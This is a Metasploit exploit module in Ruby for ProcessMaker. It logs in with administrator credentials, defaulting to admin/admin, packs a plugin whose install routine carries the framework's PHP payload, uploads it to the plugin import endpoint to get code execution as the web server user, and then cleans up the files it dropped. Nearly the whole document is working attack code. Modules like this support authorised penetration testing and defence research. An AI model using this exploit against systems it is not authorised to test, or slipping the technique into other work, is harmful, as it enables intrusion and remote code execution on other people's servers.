##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ProcessMaker Plugin Upload',
        'Description' => %q{
          This module will generate and upload a plugin to ProcessMaker
          resulting in execution of PHP code as the web server user.

          Credentials for a valid user account with Administrator roles
          is required to run this module.

          This module has been tested successfully on ProcessMaker versions
          1.6-4276, 2.0.23, 3.0 RC 1, 3.2.0, 3.2.1 on Windows 7 SP 1;
          and version 3.2.0 on Debian Linux 8.
        },
        'License' => MSF_LICENSE,
        'Author' => 'bcoles',
        'References' => [
          ['CVE', '2025-34097'],
          ['URL', 'http://wiki.processmaker.com/3.0/Plugin_Development']
        ],
        'Payload' => { 'Space' => 20000 },
        'Platform' => 'php',
        'Arch' => ARCH_PHP,
        'Targets' => [[ 'Automatic Targeting', {} ]],
        'Privileged' => false,
        'DisclosureDate' => '2010-08-25',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
    register_options(
      [
        OptString.new('USERNAME', [true, 'The username for ProcessMaker', 'admin']),
        OptString.new('PASSWORD', [true, 'The password for ProcessMaker', 'admin']),
        OptString.new('WORKSPACE', [true, 'The ProcessMaker workspace', 'workflow'])
      ]
    )
  end

  def login(user, pass)
    vars_post = Hash[{
      'form[USR_USERNAME]' => Rex::Text.uri_encode(user, 'hex-normal'),
      'form[USR_PASSWORD]' => Rex::Text.uri_encode(pass, 'hex-normal')
    }.to_a.shuffle]

    print_status "Authenticating as user '#{user}'"
    uri = normalize_uri target_uri.path, "/sys#{@workspace}/en/neoclassic/login/authentication.php"
    res = send_request_cgi 'method' => 'POST',
                           'uri' => uri,
                           'cookie' => @cookie,
                           'vars_post' => vars_post

    if !res
      fail_with Failure::Unreachable, 'Connection failed'
    elsif res.code == 200 && res.body =~ /Loading styles and images/
      # ProcessMaker 2.x and 3.x
      print_good "#{peer} Authenticated as user '#{user}'"
    elsif res.code == 302 && res.headers['location'] =~ /(cases|processes)/
      # ProcessMaker 1.x
      print_good "#{peer} Authenticated as user '#{user}'"
    else
      fail_with Failure::NoAccess, "#{peer} - Authentication failed"
    end
  end

  def upload_plugin plugin_name
    data = generate_plugin plugin_name

    print_status "#{peer} Uploading plugin '#{plugin_name}' (#{data.length} bytes)"

    # ProcessMaker 1.x requires "-" after the plugin name in the file name
    fname = "#{plugin_name}-.tar"

    boundary = "----WebKitFormBoundary#{rand_text_alphanumeric rand(10) + 5}"
    post_data = "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"__notValidateThisFields__\"\r\n"
    post_data << "\r\n\r\n"
    post_data << "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"DynaformRequiredFields\"\r\n"
    post_data << "\r\n[]\r\n"
    post_data << "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"form[PLUGIN_FILENAME]\"; filename=\"#{fname}\"\r\n"
    post_data << "Content-Type: application/x-tar\r\n"
    post_data << "\r\n#{data}\r\n"
    post_data << "--#{boundary}\r\n"

    uri = normalize_uri target_uri.path, "/sys#{@workspace}/en/neoclassic/setup/pluginsImportFile"
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => uri,
      'ctype' => "multipart/form-data; boundary=#{boundary}",
      'cookie' => @cookie,
      'data' => post_data
    }, 5)

    # Installation spawns a shell, preventing a HTTP response.
    # If a response is received, something probably went wrong.
    if res
      if res.headers['location'] =~ /login/
        fail_with Failure::NoAccess, 'Administrator privileges are required'
      else
        print_warning "#{peer} Unexpected reply"
      end
    end
  end

  def delete_plugin(plugin_name)
    uri = normalize_uri target_uri.path, "/sys#{@workspace}/en/neoclassic/setup/pluginsRemove"
    send_request_cgi({
      'method' => 'POST',
      'uri' => uri,
      'cookie' => @cookie,
      'vars_post' => { 'pluginUid' => plugin_name }
    }, 5)
  end

  def generate_plugin(plugin_name)
    plugin_class = %Q|<?php
      class #{plugin_name}Class extends PMPlugin {
        function __construct() {
          set_include_path(
            PATH_PLUGINS . '#{plugin_name}' . PATH_SEPARATOR .
            get_include_path()
          );
        }
      }
    |

    plugin_php = %Q|<?php
      G::LoadClass("plugin");

      class #{plugin_name}Plugin extends PMPlugin
      {
        public function #{plugin_name}Plugin($sNamespace, $sFilename = null)
        {
          $res = parent::PMPlugin($sNamespace, $sFilename);
          $this->sFriendlyName = "#{plugin_name}";
          $this->sDescription  = "#{plugin_name}";
          $this->sPluginFolder = "#{plugin_name}";
          $this->sSetupPage    = "setup";
          $this->iVersion      = 1;
          $this->aWorkspaces   = null;
          return $res;
        }
        public function setup() {}
        public function install() { #{payload.encoded} }
        public function enable() {}
        public function disable() {}
      }

      $oPluginRegistry =& PMPluginRegistry::getSingleton();
      $oPluginRegistry->registerPlugin('#{plugin_name}', __FILE__);
    |

    tarfile = StringIO.new
    Rex::Tar::Writer.new tarfile do |tar|
      tar.add_file "#{plugin_name}.php", 0777 do |io|
        io.write plugin_php
      end
      tar.add_file "#{plugin_name}/class.#{plugin_name}.php", 0777 do |io|
        io.write plugin_class
      end
    end
    tarfile.rewind
    tarfile.read
  end

  def cleanup
    delete_plugin @plugin_name
  end

  def exploit
    @workspace = datastore['WORKSPACE']

    @cookie = "PHPSESSID=#{rand_text_alphanumeric rand(10) + 10};"
    login datastore['USERNAME'], datastore['PASSWORD']

    @plugin_name = rand_text_alpha rand(10) + 10
    upload_dir = "../../shared/sites/#{@workspace}/files/input/"
    register_file_for_cleanup "#{upload_dir}#{@plugin_name}-.tar"
    register_file_for_cleanup "#{upload_dir}#{@plugin_name}.php"
    register_file_for_cleanup "#{upload_dir}#{@plugin_name}/class.#{@plugin_name}.php"
    register_dir_for_cleanup "#{upload_dir}#{@plugin_name}"

    upload_plugin @plugin_name
  end
end
